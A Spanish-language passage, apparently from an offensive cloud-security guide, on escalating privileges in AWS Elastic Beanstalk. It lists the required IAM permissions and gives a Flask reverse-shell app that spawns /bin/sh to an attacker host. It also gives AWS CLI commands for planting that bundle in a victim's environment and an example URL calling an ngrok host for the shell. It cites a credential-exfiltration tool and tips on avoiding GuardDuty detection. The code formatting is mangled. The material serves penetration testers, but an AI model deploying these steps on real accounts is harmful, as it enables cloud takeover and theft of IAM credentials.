Para realizar acciones sensibles en Beanstalk necesitarás tener muchos permisos sensibles en muchos servicios diferentes. Puedes verificar, por ejemplo, los permisos otorgados a arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, permisos de escritura en S3 y muchos otros
Con permisos de escritura sobre el bucket de S3 que contiene el código del entorno y permisos para reconstruir la aplicación (se necesita elasticbeanstalk:RebuildEnvironment y algunos más relacionados con S3, EC2 y Cloudformation), puedes modificar el código, reconstruir la aplicación y la próxima vez que accedas a la aplicación, ejecutará tu nuevo código, permitiendo al atacante comprometer la aplicación y las credenciales del rol IAM de la misma.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, y más...
Los mencionados más varios permisos de S3, EC2, cloudformation, autoscaling y elasticloadbalancing son necesarios para crear un escenario básico de Elastic Beanstalk desde cero.
Primero que nada, necesitas crear un entorno Beanstalk legítimo con el código que te gustaría ejecutar en la víctima siguiendo los pasos anteriores. Potencialmente un simple zip que contenga estos 2 archivos:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Una vez que tengas tu propio entorno de Beanstalk en funcionamiento con tu rev shell, es hora de migrarlo al entorno de los víctimas. Para hacerlo, necesitas actualizar la política del bucket de tu bucket S3 de Beanstalk para que el víctima pueda acceder a él (Ten en cuenta que esto abrirá el bucket a TODOS):
# Use a new --version-label# Use the bucket from your own accountaws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
